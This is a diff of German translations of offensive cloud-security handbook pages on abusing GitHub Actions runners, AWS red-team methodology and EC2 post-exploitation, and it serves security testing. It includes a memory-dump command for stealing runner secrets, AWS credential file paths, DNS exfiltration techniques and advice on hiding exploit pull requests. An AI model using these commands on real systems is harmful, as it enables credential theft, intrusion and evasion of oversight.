-**Selbst gehostete** Runner könnten Zugang zu **extra sensiblen Informationen**, zu anderen **Netzwerksystemen** (anfällige Endpunkte im Netzwerk? Metadatenservice?) haben oder, selbst wenn sie isoliert und zerstört sind, **könnten mehr als eine Aktion gleichzeitig ausgeführt werden** und die bösartige könnte die **Geheimnisse** der anderen stehlen.
+**Selbstgehostete** Runner könnten Zugang zu **extra sensiblen Informationen**, zu anderen **Netzwerksystemen** (anfällige Endpunkte im Netzwerk? Metadatenservice?) haben oder, selbst wenn sie isoliert und zerstört sind, **könnten mehr als eine Aktion gleichzeitig ausgeführt werden** und die bösartige könnte die **Geheimnisse** der anderen stehlen.
-Bei selbst gehosteten Runnern ist es auch möglich, die **Geheimnisse aus dem \_Runner.Listener**\_\*\* Prozess\*\* zu erhalten, der alle Geheimnisse der Workflows zu jedem Zeitpunkt enthält, indem man seinen Speicher dumpet:
+Bei selbstgehosteten Runnern ist es auch möglich, die **Geheimnisse aus dem \_Runner.Listener**\_\*\* Prozess\*\* zu erhalten, der alle Geheimnisse der Workflows zu jedem Zeitpunkt enthält, indem man seinen Speicher dumpet:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
@@ -484,7 +484,7 @@ Ein Beispiel finden Sie im folgenden erweiterbaren Abschnitt:
-Github Action Build & Push Docker Image
+Github Action Build & Push Docker Image
```yaml
[...]
@@ -525,7 +525,7 @@ docker pull ghcr.io//:
Dann könnte der Benutzer nach **geleakten Geheimnissen in den Docker-Image-Schichten suchen:**
{{#ref}}
-https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### Sensible Informationen in Github Actions-Protokollen
@@ -534,7 +534,7 @@ Selbst wenn **Github** versucht, **Geheimwerte** in den Aktionsprotokollen zu **
## Spuren verwischen
-(Technik von [**hier**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Zunächst einmal ist jeder PR, der erstellt wird, für die Öffentlichkeit in Github und für das Ziel-GitHub-Konto deutlich sichtbar. In GitHub können wir standardmäßig **einen PR nicht aus dem Internet löschen**, aber es gibt einen Haken. Für GitHub-Konten, die von Github **suspendiert** wurden, werden alle ihre **PRs automatisch gelöscht** und aus dem Internet entfernt. Um also Ihre Aktivitäten zu verbergen, müssen Sie entweder Ihr **GitHub-Konto suspendiert bekommen oder Ihr Konto als verdächtig markieren lassen**. Dies würde **alle Ihre Aktivitäten** auf GitHub aus dem Internet verbergen (im Grunde alle Ihre Exploit-PRs entfernen).
+(Technik von [**hier**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Zunächst einmal ist jeder PR, der erstellt wird, für die Öffentlichkeit in Github und für das Ziel-GitHub-Konto deutlich sichtbar. In GitHub können wir standardmäßig **einen PR aus dem Internet nicht löschen**, aber es gibt einen Haken. Für GitHub-Konten, die von Github **suspendiert** wurden, werden alle ihre **PRs automatisch gelöscht** und aus dem Internet entfernt. Um also Ihre Aktivitäten zu verbergen, müssen Sie entweder Ihr **GitHub-Konto suspendiert bekommen oder Ihr Konto als verdächtig markieren lassen**. Dies würde **alle Ihre Aktivitäten** auf GitHub aus dem Internet verbergen (im Grunde alle Ihre Exploit-PRs entfernen).
Eine Organisation in GitHub ist sehr proaktiv darin, Konten an GitHub zu melden. Alles, was Sie tun müssen, ist, „einige Dinge“ in einem Issue zu teilen, und sie werden sicherstellen, dass Ihr Konto in 12 Stunden suspendiert wird :p und da haben Sie es, Ihr Exploit ist auf GitHub unsichtbar gemacht.
diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md
index 1ce50ab6d..3681199e3 100644
--- a/src/pentesting-cloud/aws-security/README.md
+++ b/src/pentesting-cloud/aws-security/README.md
@@ -29,21 +29,21 @@ Tools zur Simulation von Angriffen:
## AWS Pentester/Red Team Methodologie
-Um eine AWS-Umgebung zu auditieren, ist es sehr wichtig zu wissen: welche **Dienste verwendet werden**, was **exponiert wird**, wer **Zugriff** auf was hat und wie interne AWS-Dienste mit **externen Diensten** verbunden sind.
+Um eine AWS-Umgebung zu auditieren, ist es sehr wichtig zu wissen: welche **Dienste verwendet werden**, was **exponiert** ist, wer **Zugriff** auf was hat und wie interne AWS-Dienste mit **externen Diensten** verbunden sind.
-Aus der Sicht eines Red Teams ist der **erste Schritt, um eine AWS-Umgebung zu kompromittieren**, die **Erlangung von Anmeldeinformationen**. Hier sind einige Ideen, wie Sie das tun können:
+Aus der Sicht eines Red Teams ist der **erste Schritt, um eine AWS-Umgebung zu kompromittieren**, das Erlangen von **Anmeldeinformationen**. Hier sind einige Ideen, wie Sie das tun können:
-- **Leaks** in github (oder ähnlichem) - OSINT
+- **Leaks** in GitHub (oder ähnlichem) - OSINT
- **Soziale** Ingenieurkunst
- **Passwort**-Wiederverwendung (Passwortlecks)
- Schwachstellen in AWS-gehosteten Anwendungen
-- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) mit Zugriff auf den Metadaten-Endpunkt
-- **Lokales Datei Lesen**
+- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) mit Zugriff auf den Metadaten-Endpunkt
+- **Lokales Datei-Lesen**
- `/home/USERNAME/.aws/credentials`
- `C:\Users\USERNAME\.aws\credentials`
- 3rd Party **gehackt**
- **Interner** Mitarbeiter
-- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)Anmeldeinformationen
+- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)Anmeldeinformationen
Oder durch **Kompromittierung eines nicht authentifizierten Dienstes**, der exponiert ist:
@@ -64,10 +64,10 @@ aws-permissions-for-a-pentest.md
### SSRF
-Wenn Sie ein SSRF auf einem Rechner innerhalb von AWS gefunden haben, überprüfen Sie diese Seite für Tricks:
+Wenn Sie ein SSRF auf einer Maschine innerhalb von AWS gefunden haben, überprüfen Sie diese Seite für Tricks:
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
### Whoami
@@ -90,7 +90,7 @@ curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic
```
> [!CAUTION]
> Beachten Sie, dass Unternehmen **Canary-Tokens** verwenden könnten, um zu identifizieren, wann **Tokens gestohlen und verwendet werden**. Es wird empfohlen, zu überprüfen, ob ein Token ein Canary-Token ist, bevor Sie es verwenden.\
-> Für weitere Informationen [**sehen Sie sich diese Seite an**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
+> Für weitere Informationen [**prüfen Sie diese Seite**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
### Org Enumeration
@@ -102,8 +102,8 @@ aws-services/aws-organizations-enum.md
Wenn Sie genügend Berechtigungen haben, wird das **Überprüfen der Berechtigungen jeder Entität im AWS-Konto** Ihnen helfen zu verstehen, was Sie und andere Identitäten tun können und wie Sie **Berechtigungen eskalieren** können.
-Wenn Sie nicht genügend Berechtigungen haben, um IAM zu enumerieren, können Sie **sie bruteforcen**, um sie herauszufinden.\
-Überprüfen Sie **wie man die Enumeration und das Bruteforcing durchführt** in:
+Wenn Sie nicht genügend Berechtigungen haben, um IAM zu enumerieren, können Sie **sie stehlen und bruteforcen**, um sie herauszufinden.\
+Überprüfen Sie **wie man die Enumeration und das Brute-Forcing durchführt** in:
{{#ref}}
aws-services/aws-iam-enum.md
@@ -121,7 +121,7 @@ AWS hat eine erstaunliche Anzahl von Diensten. Auf der folgenden Seite finden Si
aws-services/
{{#endref}}
-Beachten Sie, dass Sie **nicht** die gesamte Arbeit **manuell** durchführen müssen. Unten in diesem Beitrag finden Sie einen **Abschnitt über** [**automatische Tools**](./#automated-tools).
+Beachten Sie, dass Sie **nicht** die gesamte Arbeit **manuell** durchführen müssen. Unten in diesem Beitrag finden Sie einen **Abschnitt über** [**automatische Tools**](#automated-tools).
Darüber hinaus könnten Sie in diesem Stadium **weitere Dienste entdeckt haben, die für nicht authentifizierte Benutzer exponiert sind**, die Sie möglicherweise ausnutzen können:
@@ -131,7 +131,7 @@ aws-unauthenticated-enum-access/
## Privilege Escalation
-Wenn Sie **mindestens Ihre eigenen Berechtigungen** über verschiedene Ressourcen überprüfen können, könnten Sie **überprüfen, ob Sie weitere Berechtigungen erhalten können**. Sie sollten sich mindestens auf die in:
+Wenn Sie **mindestens Ihre eigenen Berechtigungen** über verschiedene Ressourcen überprüfen können, könnten Sie **überprüfen, ob Sie weitere Berechtigungen erhalten können**. Sie sollten sich mindestens auf die in folgenden Links angegebenen Berechtigungen konzentrieren:
{{#ref}}
aws-privilege-escalation/
@@ -140,17 +140,17 @@ aws-privilege-escalation/
## Publicly Exposed Services
Während Sie AWS-Dienste enumerieren, haben Sie möglicherweise einige gefunden, die **Elemente ins Internet exponieren** (VM/Container-Ports, Datenbanken oder Warteschlangendienste, Snapshots oder Buckets...).\
-Als Pentester/Red Teamer sollten Sie immer überprüfen, ob Sie **sensible Informationen / Schwachstellen** darin finden können, da sie Ihnen **weiteren Zugang zum AWS-Konto** verschaffen könnten.
+Als Pentester/Red Teamer sollten Sie immer überprüfen, ob Sie **sensible Informationen / Schwachstellen** auf ihnen finden können, da sie Ihnen **weiteren Zugang zum AWS-Konto** verschaffen könnten.
-In diesem Buch sollten Sie **Informationen** darüber finden, wie man **exponierte AWS-Dienste findet und wie man sie überprüft**. Über das Finden von **Schwachstellen in exponierten Netzwerkdiensten** würde ich Ihnen empfehlen, nach dem spezifischen **Dienst** in:
+In diesem Buch sollten Sie **Informationen** darüber finden, wie man **exponierte AWS-Dienste findet und wie man sie überprüft**. Über das Finden von **Schwachstellen in exponierten Netzwerkdiensten** würde ich Ihnen empfehlen, nach dem spezifischen **Dienst** zu **suchen** in:
{{#ref}}
-https://book.hacktricks.xyz/
+https://book.hacktricks.wiki/
{{#endref}}
## Compromising the Organization
-### Vom Root-/Management-Konto
+### From the root/management account
Wenn das Management-Konto neue Konten in der Organisation erstellt, wird eine **neue Rolle** im neuen Konto erstellt, standardmäßig benannt **`OrganizationAccountAccessRole`** und gibt der **Management-Konto** die **AdministratorAccess**-Richtlinie, um auf das neue Konto zuzugreifen.
@@ -239,8 +239,8 @@ AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-p
### Privesc & Exploiting
-- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Entdecken Sie die privilegiertesten Benutzer in der gescannten AWS-Umgebung, einschließlich der AWS Shadow Admins. Es verwendet PowerShell. Sie finden die **Definition privilegierter Richtlinien** in der Funktion **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
-- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu ist ein Open-Source-**AWS-Exploitation-Framework**, das für offensive Sicherheitstests in Cloud-Umgebungen entwickelt wurde. Es kann **enumerieren**, **Fehlkonfigurationen** finden und diese **ausnutzen**. Sie finden die **Definition privilegierter Berechtigungen** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) im **`user_escalation_methods`** dict.
+- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Entdecken Sie die privilegiertesten Benutzer in der gescannten AWS-Umgebung, einschließlich der AWS Shadow Admins. Es verwendet PowerShell. Sie können die **Definition privilegierter Richtlinien** in der Funktion **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1) finden.
+- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu ist ein Open-Source-**AWS-Exploitation-Framework**, das für offensive Sicherheitstests in Cloud-Umgebungen entwickelt wurde. Es kann **enumerieren**, **Fehlkonfigurationen** finden und diese **ausnutzen**. Sie können die **Definition privilegierter Berechtigungen** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) im **`user_escalation_methods`** dict finden.
- Beachten Sie, dass pacu **nur Ihre eigenen Privesc-Pfade überprüft** (nicht kontoweit).
```bash
# Install
@@ -255,7 +255,7 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
-- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) ist ein Skript und eine Bibliothek zur Identifizierung von Risiken in der Konfiguration von AWS Identity and Access Management (IAM) für ein AWS-Konto oder eine AWS-Organisation. Es modelliert die verschiedenen IAM-Benutzer und -Rollen in einem Konto als gerichteten Graphen, was Überprüfungen auf **Privilegienausweitung** und auf alternative Wege ermöglicht, die ein Angreifer nutzen könnte, um Zugriff auf eine Ressource oder Aktion in AWS zu erhalten. Sie können die **Berechtigungen überprüfen, die verwendet werden, um privesc**-Pfad in den Dateinamen, die mit `_edges.py` enden, in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
+- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) ist ein Skript und eine Bibliothek zur Identifizierung von Risiken in der Konfiguration von AWS Identity and Access Management (IAM) für ein AWS-Konto oder eine AWS-Organisation. Es modelliert die verschiedenen IAM-Benutzer und -Rollen in einem Konto als gerichteten Graphen, was Überprüfungen auf **Privilegieneskalation** und auf alternative Wege ermöglicht, die ein Angreifer nutzen könnte, um Zugriff auf eine Ressource oder Aktion in AWS zu erhalten. Sie können die **Berechtigungen, die verwendet werden, um privesc**-Pfad zu finden, in den Dateinamen, die mit `_edges.py` enden, überprüfen in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
```bash
# Install
pip install principalmapper
@@ -278,7 +278,7 @@ pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining ist ein AWS IAM-Sicherheitsbewertungstool, das Verstöße gegen das Prinzip der minimalen Berechtigung identifiziert und einen risikopriorisierten HTML-Bericht erstellt.\
-Es zeigt Ihnen potenziell **überprivilegierte** Kunden, Inline- und AWS-**Richtlinien** und welche **Prinzipale Zugriff darauf haben**. (Es überprüft nicht nur auf Privesc, sondern auch auf andere interessante Berechtigungen, die empfohlen werden zu verwenden).
+Es zeigt Ihnen potenziell **überprivilegierte** Kunden, Inline- und AWS-**Richtlinien** und welche **Prinzipien Zugriff darauf haben**. (Es überprüft nicht nur auf Privesc, sondern auch auf andere interessante Berechtigungen, die empfohlen werden zu verwenden).
```bash
# Install
pip install cloudsplaining
@@ -290,9 +290,9 @@ cloudsplaining download --profile dev
# Analyze the IAM policies
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
-- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack bewertet AWS-Konten auf **Subdomain-Hijacking-Schwachstellen** aufgrund von entkoppelten Route53- und CloudFront-Konfigurationen.
-- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Liste ECR-Repos -> Ziehe ECR-Repo -> Hintertür -> Pushe das hintertürige Image
-- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag ist ein Tool, das **in öffentlichen Elastic Block Storage (EBS) Snapshots nach Geheimnissen sucht**, die möglicherweise versehentlich hinterlassen wurden.
+- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack bewertet AWS-Konten auf **Verwundbarkeiten durch Subdomain-Hijacking** aufgrund von entkoppelten Route53- und CloudFront-Konfigurationen.
+- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Liste ECR-Repos -> Ziehe ECR-Repo -> Hintertür -> Push hintertüriges Image
+- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag ist ein Tool, das **in öffentlichen Elastic Block Storage (**EBS) Snapshots nach Geheimnissen sucht**, die möglicherweise versehentlich hinterlassen wurden.
### Audit
@@ -303,7 +303,7 @@ cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
## use "cis" for cis level 1 and 2
```
-- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler ist ein Open Source-Sicherheitswerkzeug zur Durchführung von Bewertungen, Audits, Incident Response, kontinuierlicher Überwachung, Härtung und forensischer Bereitschaft in Bezug auf AWS-Sicherheitsbest Practices.
+- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler ist ein Open-Source-Sicherheitswerkzeug zur Durchführung von Bewertungen, Audits, Incident-Response, kontinuierlicher Überwachung, Härtung und forensischer Bereitschaft in Bezug auf AWS-Sicherheitsbest Practices.
```bash
# Install python3, jq and git
# Install
@@ -314,7 +314,7 @@ prowler -v
prowler
prowler aws --profile custom-profile [-M csv json json-asff html]
```
-- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox hilft Ihnen, situative Wahrnehmung in unbekannten Cloud-Umgebungen zu erlangen. Es ist ein Open-Source-Befehlszeilenwerkzeug, das entwickelt wurde, um Penetrationstestern und anderen Fachleuten für offensive Sicherheit zu helfen, ausnutzbare Angriffswege in der Cloud-Infrastruktur zu finden.
+- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox hilft Ihnen, situative Wahrnehmung in unbekannten Cloud-Umgebungen zu erlangen. Es ist ein Open-Source-Befehlszeilenwerkzeug, das entwickelt wurde, um Penetrationstestern und anderen Fachleuten für offensive Sicherheit zu helfen, ausnutzbare Angriffswege in Cloud-Infrastrukturen zu finden.
```bash
cloudfox aws --profile [profile-name] all-checks
```
@@ -335,8 +335,8 @@ scout aws -p dev
### Ständige Prüfung
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian ist eine Regel-Engine zur Verwaltung öffentlicher Cloud-Konten und -Ressourcen. Es ermöglicht Benutzern, **Richtlinien zu definieren, um eine gut verwaltete Cloud-Infrastruktur** zu ermöglichen, die sowohl sicher als auch kosteneffizient ist. Es konsolidiert viele der Ad-hoc-Skripte, die Organisationen haben, in ein leichtgewichtiges und flexibles Tool mit einheitlichen Metriken und Berichterstattung.
-- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** ist eine Plattform für **kontinuierliche Compliance-Überwachung, Compliance-Berichterstattung und Sicherheitsautomatisierung für die Cloud**. In PacBot werden Sicherheits- und Compliance-Richtlinien als Code implementiert. Alle von PacBot entdeckten Ressourcen werden anhand dieser Richtlinien bewertet, um die Konformität mit den Richtlinien zu überprüfen. Das PacBot **Auto-Fix**-Framework bietet die Möglichkeit, automatisch auf Richtlinienverletzungen zu reagieren, indem vordefinierte Aktionen ausgeführt werden.
-- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert ist ein serverloses, **Echtzeit**-Datenanalyse-Framework, das es Ihnen ermöglicht, **Daten aus jeder Umgebung zu erfassen, zu analysieren und zu alarmieren**, **unter Verwendung von Datenquellen und Alarmierungslogik, die Sie definieren**. Computer-Sicherheitsteams verwenden StreamAlert, um täglich Terabytes von Protokolldaten auf Vorfälle zu scannen und darauf zu reagieren.
+- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** ist eine Plattform für **kontinuierliche Compliance-Überwachung, Compliance-Berichterstattung und Sicherheitsautomatisierung für die Cloud**. In PacBot werden Sicherheits- und Compliance-Richtlinien als Code implementiert. Alle von PacBot entdeckten Ressourcen werden anhand dieser Richtlinien bewertet, um die Konformität mit den Richtlinien zu überprüfen. Das PacBot **Auto-Fix**-Framework bietet die Möglichkeit, automatisch auf Richtlinienverletzungen zu reagieren, indem vordefinierte Maßnahmen ergriffen werden.
+- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert ist ein serverloses, **Echtzeit**-Datenanalyse-Framework, das es Ihnen ermöglicht, **Daten aus jeder Umgebung zu erfassen, zu analysieren und zu alarmieren**, **unter Verwendung von Datenquellen und Alarmierungslogik, die Sie definieren**. Computer-Sicherheitsteams verwenden StreamAlert, um täglich Terabytes von Protokolldaten auf Vorfallserkennung und -reaktion zu scannen.
## DEBUG: AWS CLI-Anfragen erfassen
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index a2604dcad..7fc0b89ca 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -7,7 +7,7 @@
Für Informationen über SAML siehe bitte:
{{#ref}}
-https://book.hacktricks.xyz/pentesting-web/saml-attacks
+https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
{{#endref}}
Um eine **Identitätsföderation über SAML** zu konfigurieren, müssen Sie lediglich einen **Namen** und die **Metadaten-XML** bereitstellen, die alle SAML-Konfigurationen (**Endpunkte**, **Zertifikat** mit öffentlichem Schlüssel) enthält.
@@ -45,7 +45,7 @@ Um eine Github-Aktion als Identitätsanbieter hinzuzufügen:
}
```
6. Beachten Sie in der vorherigen Richtlinie, wie nur ein **Branch** aus dem **Repository** einer **Organisation** mit einem bestimmten **Trigger** autorisiert wurde.
-7. Die **ARN** der **Rolle**, die die Github-Aktion **nachahmen** kann, wird das "Geheimnis" sein, das die Github-Aktion kennen muss, also **speichern** Sie es in einem **Geheimnis** innerhalb einer **Umgebung**.
+7. Der **ARN** der **Rolle**, die die Github-Aktion **nachahmen** kann, wird das "Geheimnis" sein, das die Github-Aktion wissen muss, also **speichern** Sie es in einem **Geheimnis** innerhalb einer **Umgebung**.
8. Verwenden Sie schließlich eine Github-Aktion, um die AWS-Anmeldeinformationen zu konfigurieren, die im Workflow verwendet werden sollen:
```yaml
name: "test AWS Access"
@@ -108,9 +108,9 @@ Es ist möglich, **OIDC-Anbieter** in einem **EKS**-Cluster zu generieren, indem
]
}
```
-Diese Richtlinie gibt korrekt an, dass **nur** der **EKS-Cluster** mit der **ID** `20C159CDF6F2349B68846BEC03BE031B` die Rolle übernehmen kann. Es wird jedoch nicht angegeben, welches Dienstkonto dies übernehmen kann, was bedeutet, dass **JEDES Dienstkonto mit einem Web-Identitätstoken** in der Lage sein wird, die Rolle zu **übernehmen**.
+Diese Richtlinie zeigt korrekt an, dass **nur** der **EKS-Cluster** mit der **ID** `20C159CDF6F2349B68846BEC03BE031B` die Rolle übernehmen kann. Es wird jedoch nicht angegeben, welches Dienstkonto dies übernehmen kann, was bedeutet, dass **JEDES Dienstkonto mit einem Web-Identitätstoken** die Rolle **übernehmen kann**.
-Um anzugeben, **welches Dienstkonto die Rolle übernehmen sollte,** ist es erforderlich, eine **Bedingung** anzugeben, in der der **Dienstkontoname angegeben ist**, wie zum Beispiel:
+Um anzugeben, **welches Dienstkonto die Rolle übernehmen sollte,** ist es erforderlich, eine **Bedingung** anzugeben, in der der **Name des Dienstkontos angegeben ist**, wie zum Beispiel:
```bash
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index eb72cb8f3..b43e8a6b8 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -47,7 +47,7 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
```
-### EBS Snapshot-Dump
+### EBS Snapshot dump
**Snapshots sind Backups von Volumes**, die normalerweise **sensible Informationen** enthalten, daher sollte die Überprüfung dieser Informationen offenbaren.\
Wenn Sie ein **Volume ohne Snapshot** finden, könnten Sie: **Einen Snapshot erstellen** und die folgenden Aktionen durchführen oder es einfach **in einer Instanz** innerhalb des Kontos **einbinden**:
@@ -56,11 +56,11 @@ Wenn Sie ein **Volume ohne Snapshot** finden, könnten Sie: **Einen Snapshot ers
aws-ebs-snapshot-dump.md
{{#endref}}
-### Datenexfiltration
+### Data Exfiltration
-#### DNS-Exfiltration
+#### DNS Exfiltration
-Selbst wenn Sie eine EC2 so absichern, dass kein Verkehr nach außen gelangen kann, kann sie dennoch **über DNS exfiltrieren**.
+Selbst wenn Sie eine EC2 so absichern, dass kein Verkehr nach außen gelangen kann, kann sie immer noch **via DNS exfiltrieren**.
- **VPC Flow Logs werden dies nicht aufzeichnen**.
- Sie haben keinen Zugriff auf AWS DNS-Logs.
@@ -68,11 +68,11 @@ Selbst wenn Sie eine EC2 so absichern, dass kein Verkehr nach außen gelangen ka
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id `
-#### Exfiltration über API-Aufrufe
+#### Exfiltration via API calls
Ein Angreifer könnte API-Endpunkte eines von ihm kontrollierten Kontos aufrufen. Cloudtrail wird diese Aufrufe protokollieren und der Angreifer wird in der Lage sein, die exfiltrierten Daten in den Cloudtrail-Logs zu sehen.
-### Offene Sicherheitsgruppe
+### Open Security Group
Sie könnten weiteren Zugriff auf Netzwerkdienste erhalten, indem Sie Ports wie folgt öffnen:
```bash
@@ -104,7 +104,7 @@ Neben der Ausführung von Befehlen ermöglicht SSM das Tunneln von Datenverkehr,
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
-3. Holen Sie sich die temporären Anmeldeinformationen für die Bastion EC2 AWS mit dem [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) Skript
+3. Holen Sie sich die temporären Bastion EC2 AWS-Anmeldeinformationen mit dem [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) Skript
4. Übertragen Sie die Anmeldeinformationen auf Ihren eigenen Computer in die Datei `$HOME/.aws/credentials` als `[bastion-ec2]` Profil
5. Melden Sie sich bei EKS als Bastion EC2 an:
```shell
@@ -119,7 +119,7 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo
```shell
kubectl get pods --insecure-skip-tls-verify
```
-Beachten Sie, dass die SSL-Verbindungen fehlschlagen, es sei denn, Sie setzen das `--insecure-skip-tls-verify`-Flag (oder dessen Äquivalent in K8s-Audit-Tools). Da der Datenverkehr durch das sichere AWS SSM-Tunnel geleitet wird, sind Sie vor jeglichen MitM-Angriffen geschützt.
+Beachten Sie, dass die SSL-Verbindungen fehlschlagen, es sei denn, Sie setzen das Flag `--insecure-skip-tls-verify` (oder dessen Äquivalent in K8s-Audit-Tools). Da der Datenverkehr durch das sichere AWS SSM-Tunnel geleitet wird, sind Sie vor jeglichen MitM-Angriffen geschützt.
Schließlich ist diese Technik nicht spezifisch für Angriffe auf private EKS-Cluster. Sie können beliebige Domains und Ports festlegen, um zu einem anderen AWS-Dienst oder einer benutzerdefinierten Anwendung zu pivotieren.
@@ -129,7 +129,7 @@ aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{
```
### Suche nach sensiblen Informationen in öffentlichen und privaten AMIs
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ist ein Tool, das entwickelt wurde, um **nach sensiblen Informationen in öffentlichen oder privaten Amazon Machine Images (AMIs)** zu suchen. Es automatisiert den Prozess des Startens von Instanzen aus Ziel-AMIs, des Einbindens ihrer Volumes und des Scannens nach potenziellen Geheimnissen oder sensiblen Daten.
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel ist ein Tool, das entwickelt wurde, um **nach sensiblen Informationen innerhalb öffentlicher oder privater Amazon Machine Images (AMIs)** zu suchen. Es automatisiert den Prozess des Startens von Instanzen aus Ziel-AMIs, des Einbindens ihrer Volumes und des Scannens nach potenziellen Geheimnissen oder sensiblen Daten.
### EBS-Snapshot teilen
```bash
@@ -332,7 +332,7 @@ Aber wenn Sie versuchen, die EC2-Instanz mit dem verschlüsselten EBS-Volume tat
 
